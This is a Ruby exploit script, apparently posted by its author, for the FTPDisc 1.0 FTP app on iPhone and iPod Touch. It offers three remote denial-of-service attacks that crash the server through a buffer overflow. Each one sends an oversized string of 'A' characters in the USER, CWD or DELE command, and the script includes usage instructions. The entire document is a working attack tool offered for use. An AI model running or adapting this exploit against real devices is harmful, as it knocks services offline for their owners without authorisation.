###############
# Title -> iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS
# Model -> Tested on iPod Touch 3G 3.1.3
# Software -> FTPDisc 1.0 and FTPDisc 1.0 Lite http://itunes.apple.com/es/app/ftpdisc-lite-pdf-reader/id329157971?mt=8
# Attacker -> Tested from GNU/Linux (Sidux), fuzzing with a future PenTBox version :P
#
# Exploit languaje -> Ruby
# Type -> Remote Denial of Service Exploit caused by Buffer Overflow
#
#
###############
# Discovered and written by Alberto Ortega
# http://pentbox.net/
###############

require "socket"
require "net/ftp"

expl = ARGV[0]
host = ARGV[1]

puts ""
if !expl || !host
  puts "HELP - iPhone / iTouch FTPDisc 1.0 3ExploitsInOne BuffOverflow DoS"
  puts ""
  puts "Exploits: 1 - USER [MALFORMED] 2 - cd [MALF] 3 - delete [MALF]"
  puts ""
  puts "- Usage: ftpdisc3io.rb [numberofexploit] [host]"
  puts "- Example: ftpdisc3io.rb 1 192.168.1.2"
  puts ""
else
  buffer = "A"
  10.times do
    buffer = "#{buffer}#{buffer}" # Here de big buffer to send
  end
  if expl == "1" # EXPLOIT 1
    begin
      socket = TCPSocket.new(host, 21)
      puts "[*] Exploiting ..."
      socket.write("USER #{buffer}\r\n")
      puts "[*] Succesfully exploited! :)"
    rescue
      puts "Connection problem"
    end
  elsif expl == "2" || expl == "3"
    begin
      print "[*] Connecting to FTP ... "
      ftp = Net::FTP.new(host, "anonymous")
      puts "OK"
      puts "[*] Exploiting ..."
      if expl == "2"
        begin
          ftp.chdir(buffer) # EXPLOIT 2
        rescue
        end
      else
        begin
          ftp.delete(buffer) # EXPLOIT 3
        rescue
        end
      end
      puts "[*] Succesfully exploited! :)"
    rescue
      puts "Connection problem"
    end
  else
    puts "Incorrect exploit selection (1, 2, 3)"
  end
end
puts ""